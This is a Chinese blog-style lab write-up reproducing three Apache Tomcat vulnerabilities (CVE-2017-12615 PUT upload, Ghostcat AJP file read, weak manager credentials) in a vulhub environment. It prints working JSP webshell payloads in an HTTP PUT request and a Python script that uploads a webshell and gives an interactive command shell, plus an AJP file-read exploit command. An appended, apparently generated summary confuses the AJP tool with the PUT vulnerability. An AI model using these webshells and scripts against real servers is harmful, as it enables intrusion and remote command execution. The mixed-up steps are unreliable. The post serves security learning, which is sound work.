vulhub-tomcat

Tomcat PUT方法任意写文件漏洞(CVE-2017-12615)

一 漏洞描述

当存在漏洞的Tomcat启用了HTTP PUT请求方法, 攻击者可通过构造数据包向服务器上传包含任意代码的JSP的webshell文件,JSP文件中的恶意代码将能被服务器执行, 导致服务器上的数据泄露或获取服务器权限。

参考链接:https://www.6b8.me/index.php?m=home&c=article&a=index&id=376

受影响版本

Tomcat版本:8.5.19

二 环境搭建docker-compose,vulhub

https://blog.youkuaiyun.com/weixin_52221158/article/details/125933759

vulhub:https://github.com/vulhub/vulhub

CVE-2017-12615# docker-compose up -d

目标 Ubuntu 192.168.1.242

三 漏洞复现

url发包,并访问http://192.168.1.242:8080/1.jsp?pwd=023&cmd=whoami

PUT /1.jsp/ HTTP/1.1
Host: 192.168.1.242:8080
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=19734B3EBED72E19A1D99D5AB2CEAFE9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 660

<%@ page language="java" import="java.util.*,java.io.*" pageEncoding="UTF-8"%><%!public static String excuteCmd(String c) {StringBuilder line = new StringBuilder();try {Process pro = Runtime.getRuntime().exec(c);BufferedReader buf = new BufferedReader(new InputStreamReader(pro.getInputStream()));String temp = null;while ((temp = buf.readLine()) != null) {line.append(temp
+"\\n");}buf.close();} catch (Exception e) {line.append(e.getMessage());}return line.toString();}%><%if("023".equals(request.getParameter("pwd"))&&!"".equals(request.getParameter("cmd"))){out.println("<pre>"+excuteCmd(request.getParameter("cmd"))+"</pre>");}else{out.println(":-)");}%>

在这里插入图片描述

Payload 传入了双变量木马,连接时可能与 Shell 管理器(们)合不来,不如写个脚本来伪造交互式 Shell。

# -*- coding:utf-8 -*-
import requests
import sys


if __name__ == "__main__":
    my_url = "http://192.168.1.242:8080/she111.jsp"
    put_headers = {
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36",
        "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9",
        "Accept-Encoding": "gzip, deflate",
        "Accept-Language": "zh-CN,zh;q=0.9",
        "Connection": "close",
        "Content-Length": "374"
    }
    put_body = """
    <%
    if("she111".equals(request.getParameter("pwd"))){
        java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();
        int a = -1;
        byte[] b = new byte[2048];
        out.print("<pre>");
        while((a=in.read(b))!=-1){
            out.println(new String(b));
        }
        out.print("</pre>");
        }
    %>
    """

    r1 = requests.put(my_url+'/', headers=put_headers, data=put_body)
    if r1.status_code in [201, 204]:
        print('[+] Upload successfully')
    else:
        print('[-] Failed')
        sys.exit(1)
    while True:
        command = input('> ')
        if command == 'exit':
            break
        c_url = my_url + ("?pwd=she111&i={}".format(command))
        r = requests.get(c_url, headers=put_headers)
        print(r.text.replace('<pre>','').replace('</pre>','').replace(' ',''))
    sys.exit(2)

在这里插入图片描述

四 修复建议

1.将readonly和VirtualDirContext值为Ture
2.升级tomcat为最新版本

五 参考链接

https://www.modb.pro/db/437671

Aapache Tomcat AJP 文件包含漏洞

一 漏洞描述

Java 是目前 Web 开发中最主流的编程语言,而 Tomcat 是当前最流行的 Java 中间件服务器之一,从初版发布到现在已经有二十多年历史,在世界范围内广泛使用。

Ghostcat(幽灵猫) 是由长亭科技安全研究员发现的存在于 Tomcat 中的安全漏洞,由于 Tomcat AJP 协议设计上存在缺陷,攻击者通过 Tomcat AJP Connector 可以读取或包含 Tomcat 上所有 webapp 目录下的任意文件,例如可以读取 webapp 配置文件或源代码。此外在目标应用有文件上传功能的情况下,配合文件包含的利用还可以达到远程代码执行的危害。

参考链接:

  • https://www.chaitin.cn/zh/ghostcat
  • https://www.cnvd.org.cn/webinfo/show/5415
  • https://mp.weixin.qq.com/s/D1hiKJpah3NhEBLwtTodsg
  • https://mp.weixin.qq.com/s/GzqLkwlIQi_i3AVIXn59FQ

影响版本

Apache Tomcat = 6 7 <=

Apache Tomcat <7.0.100 8 <=

Apache Tomcat <8.5.51 9 <=

Apache Tomcat <9.0.31

二 环境搭建docker-compose,vulhub

https://blog.youkuaiyun.com/weixin_52221158/article/details/125933759

vulhub:https://github.com/vulhub/vulhub

CVE-2020-1938# docker-compose up -d

目标 Ubuntu 192.168.1.242

三 漏洞复现

exp:

https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi

python CNVD-2020-10487-Tomcat-Ajp-lfi.py  192.168.1.242 -p 8009 -f /WEB-INF/web.xml

在这里插入图片描述

当存在上传功能时,上传图片马结合此漏洞,可以getshell。

四 修复建议

临时禁用AJP协议端口,在conf/server.xm l配置文件中注释掉

<Connector port=”8009″ protocol=”AJP/1.3″redirectPort=”8443″ />

五 参考链接

https://www.cnblogs.com/dyanbk/p/13334860.html

Tomcat7+ 弱口令 && 后台getshell漏洞

一 漏洞描述

Tomcat支持在后台部署war文件,可以直接将webshell部署到web目录下。其中,欲访问后台,需要对应用户有相应权限。

Tomcat7+权限分为:

  • manager(后台管理)
    • manager-gui 拥有html页面权限
    • manager-status 拥有查看status的权限
    • manager-script 拥有text接口的权限,和status权限
    • manager-jmx 拥有jmx权限,和status权限
  • host-manager(虚拟主机管理)
    • admin-gui 拥有html页面权限
    • admin-script 拥有text接口权限

这些权限的究竟有什么作用,详情阅读 http://tomcat.apache.org/tomcat-8.5-doc/manager-howto.html

conf/tomcat-users.xml文件中配置用户的权限:

<?xml version="1.0" encoding="UTF-8"?>
<tomcat-users xmlns="http://tomcat.apache.org/xml"
              xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
              xsi:schemaLocation="http://tomcat.apache.org/xml tomcat-users.xsd"
              version="1.0">

    <role rolename="manager-gui"/>
    <role rolename="manager-script"/>
    <role rolename="manager-jmx"/>
    <role rolename="manager-status"/>
    <role rolename="admin-gui"/>
    <role rolename="admin-script"/>
    <user username="tomcat" password="tomcat" roles="manager-gui,manager-script,manager-jmx,manager-status,admin-gui,admin-script" />
    
</tomcat-users>

可见,用户tomcat拥有上述所有权限,密码是tomcat

正常安装的情况下,tomcat8中默认没有任何用户,且manager页面只允许本地IP访问。只有管理员手工修改了这些属性的情况下,才可以进行攻击。

Tomcat版本:8.0

二 环境搭建docker-compose,vulhub

https://blog.youkuaiyun.com/weixin_52221158/article/details/125933759

vulhub:https://github.com/vulhub/vulhub

CVE-2020-1938# docker-compose up -d

目标 Ubuntu 192.168.1.242

三 漏洞复现

访问http://192.168.1.242:8080/manager/html使用tomcat:tomcat登录

在这里插入图片描述
四 修复建议

更改复杂密码

要复现Tomcat漏洞,你可以使用vulhub这个平台。Vulhub是一个提供了各种漏洞环境的Docker镜像集合,其中包括了Tomcat漏洞环境。你可以按照以下步骤进行复现: 1. 首先,确保你已经安装了Docker,并且已经启动了Docker服务。 2. 下载vulhub的代码库,你可以在GitHub上找到它:https://github.com/vulhub/vulhub 3. 进入vulhubTomcat漏洞环境目录:cd vulhub/tomcat/CVE-2017-12615 4. 使用Docker Compose启动Tomcat容器:docker-compose up -d 5. 等待容器启动完成后,你可以访问http://localhost:8080来查看Tomcat的欢迎页面。 6. 接下来,你可以使用漏洞复现工具来验证漏洞。在这个漏洞环境中,你可以使用https://github.com/doyensec/ajpfuzzer/releases/download/v0.6/ajpfuzzer_v0.6.jar这个AJP包构造器工具来构造恶意请求。 7. 下载ajpfuzzer_v0.6.jar工具。你可以使用wget命令来下载:wget https://github.com/doyensec/ajpfuzzer/releases/download/v0.6/ajpfuzzer_v0.6.jar 8. 使用ajpfuzzer_v0.6.jar工具来构造恶意请求,将包含任意代码的JSP文件上传到Tomcat服务器上。 9. 然后,你可以访问上传的JSP文件来执行恶意代码。 通过以上步骤,你就可以成功复现Tomcat漏洞。请注意,这仅仅是为了演示和学习目的,不要在未经授权的情况下使用这些技术攻击他人的系统。<span class="em">1</span><span class="em">2</span><span class="em">3</span> #### 引用[.reference_title] - *1* *2* [Tomcat系列漏洞复现——vulhub](https://blog.youkuaiyun.com/qq_45612828/article/details/125833415)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_1"}}] [.reference_item style="max-width: 50%"] - *3* [vulhub靶场-tomcat漏洞复现](https://blog.youkuaiyun.com/m0_62008601/article/details/125922489)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_1"}}] [.reference_item style="max-width: 50%"] [ .reference_list ]
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值